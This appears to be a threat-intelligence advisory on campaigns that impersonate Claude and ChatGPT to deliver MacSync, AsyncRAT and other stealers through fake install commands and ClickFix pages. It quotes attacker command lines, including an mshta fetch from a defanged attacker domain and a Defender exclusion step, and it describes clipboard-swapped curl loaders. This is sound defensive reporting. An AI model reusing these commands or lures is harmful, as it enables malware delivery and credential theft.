# Fake Claude and ChatGPT impersonation campaigns (ClickFix/InstallFix) deliver infostealers and RATs to developers and enterprise employees

> ANY.RUN analyzed 1,258 public sandbox submissions (2026-04-15 to 2026-10-05) of AI-brand impersonation campaigns, with Claude impersonated in 60% and ChatGPT/Codex in 33%. Lures use fake CLI install commands, ClickFix download pages, malicious shared chats/artifacts, trojanized installers and fake sign-in windows to deliver stealers (MacSync, Aura, Amatera) and RATs (AsyncRAT, Quasar), exposing source code, cloud/AI API keys, browser sessions, ad accounts and billing access.

- **Published:** 2026-10-16T20:33:47Z
- **Last reviewed:** 2026-10-16T20:33:47Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-3774
- **ID:** TL-2026-3774
- **Severity:** HIGH
- **Category:** PHISHING
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 27 (full data via the Threadlinqs MCP server — Purple tier)

## Description

No CVE is involved; the threat is user-execution social engineering that abuses trust in AI brands. ANY.RUN reviewed 1,258 public sandbox submissions between 2026-04-15 and 2026-10-05. Claude was impersonated in about 60% of analyses and ChatGPT/OpenAI Codex in about 33%. Command-execution prompts were present in roughly 45% of cases: fake CLI installers (InstallFix) were 27% and traditional ClickFix download pages 17%. Other lure types were malicious shared conversations/artifacts on legitimate AI platforms, trojanized installers (Claude, ChatGPT, Copilot) hosted on GitHub, malvertising and SEO poisoning, Browser-in-the-Browser fake Google sign-in windows, and fake AI advertising-invitation phishing aimed at marketing staff (July-September 2026). Families identified include Aura Stealer, MacSync Stealer, AsyncRAT, Quasar RAT, HijackLoader and Amatera (an ACR/Lumma-lineage stealer).

macOS chain (Trend Micro, Push Security, 7AI): Google Ads for queries such as 'claude mac' lead, sometimes via a Bing click-tracking redirect (bing.com/ck/a) through a compromised WordPress site, to cloned Claude install pages (claude-desk-code[.]com) or to GitLab Pages sites (92 unique *.gitlab.io hostnames) and claude.ai shared chats. The page shows the legitimate command 'curl -fsSL https://claude.ai/install.sh | bash' but clipboard manipulation substitutes a base64-encoded curl pipeline to attacker infrastructure (lake-90[.]com; loserrq0j1sha8[.]com/debug/loader.sh). The loader exits if a Russian keyboard layout is detected (IS_CIS=TRUE) and otherwise fetches the MacSync infostealer, which harvests Keychain, browser credentials/cookies, SSH keys and crypto-wallet files, stages /tmp/osalogging.zip and uploads it with up to 8 retries. The fake site cloaks itself by checking the Bing/Google referrer and browser headers and returns 404 on direct access. Push Security tracks the toolkit as 'AcSig'. Trend Micro observed six waves between 2026-04-08 and 2026-06-14; Anthropic banned the responsible accounts and disabled the malicious shared conversations after notification.

Windows chains: Rapid7 (detection 2026-04-09) analyzed a ClickFix lure where the victim runs mshta from the Run dialog (RunMRU artifact) to fetch a fake claude.msixbundle (HTA in a ZIP containing obfuscated VBS), followed by an encoded PowerShell stager that blanks amsiContext (0x41414141), multi-layer base64 ScriptBlocks, and XOR-encrypted shellcode injected via Nt* APIs. 7AI observed a malicious VS Code extension spawning PowerShell, then 'mshta https://claude-code.official-version[.]com/claude' or Add-MpPreference -ExclusionPath C:\temp followed by C:\temp\CrossMark2-Setup.exe, with a2abotnet[.]com C2. ANY.RUN observed a trojanized Claude installer (claude-ai[.]us) that created an 'mseupdate' scheduled task, launched Edge with remote debugging enabled and exfiltrated cookies and extension data for session hijacking. Attribution: no named actor; several independent clusters (including the AcSig toolkit) are involved. Severity HIGH is an analyst judgment based on credential, source-code and session exposure. The Dark Reading article itself returned HTTP 403, so its content was corroborated through the ANY.RUN-derived summary (Mallory) and search snippets.

## MITRE ATT&CK

- T1583.001 Domains
- T1583.008 Malvertising
- T1608.001 Upload Malware
- T1566.002 Spearphishing Link
- T1204.004 Malicious Copy and Paste
- T1204.002 Malicious File
- T1059.001 PowerShell
- T1059.004 Unix Shell
- T1059.005 Visual Basic
- T1053.005 Scheduled Task
- T1218.005 Mshta
- T1685 Disable or Modify Tools
- T1027 Obfuscated Files or Information
- T1055 Process Injection
- T1036 Masquerading
- T1555.003 Credentials from Web Browsers
- T1539 Steal Web Session Cookie
- T1185 Browser Session Hijacking

## Sources

- [Fake Claude, ChatGPT Attacks Surge, Putting Developers at Risk](https://www.darkreading.com/application-security/fake-claude-chatgpt-attacks-developers-risk)
- [Fake Claude, ChatGPT and Copilot Tools Deliver Stealers and Phish Business Accounts (ANY.RUN findings summary)](https://mallory.ai/stories/01a139f1-2ec5-7197-a154-0e6cd6cdf8ed)
- [Rapid7 Analysis: ClickFix-style Phishing Campaign Uses Fake Claude Installer](https://www.rapid7.com/blog/post/ve-clickfix-phishing-campaign-fake-claude-installer/)
- [Threat Actors Abuse claude.ai Shared Chat for ClickFix Malvertising Campaign (Trend Micro)](https://www.trendmicro.com/en_us/research/26/f/claudeai-shared-chat-abused-in-malvertising.html)
- [Hackers abuse Google Ads, Bing redirects to push Claude ClickFix attacks](https://www.bleepingcomputer.com/news/security/hackers-abuse-google-ads-bing-redirects-to-push-claude-clickfix-attacks/)
- [Claude Fraud - Weaponizing AI Developer Tooling Against the Security Community (7AI)](https://blog.7ai.com/claude-fraud-malware-campaign-ai-developer-tools)
- [AI Coding Tools Under Fire: Mapping the Malvertising Campaigns Targeting the Vibe Coding Ecosystem (Pillar Security)](https://www.pillar.security/blog/ai-coding-tools-under-fire-mapping-the-malvertising-campaigns-targeting-the-vibe-coding-ecosystem)
- [CSA Research Note: AI Developer Tool Impersonation - Typosquatting, Fake Install Guides, and InfoStealer Delivery](https://labs.cloudsecurityalliance.org/research/csa-research-note-ai-tool-impersonation-installfix-typosquat/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-3774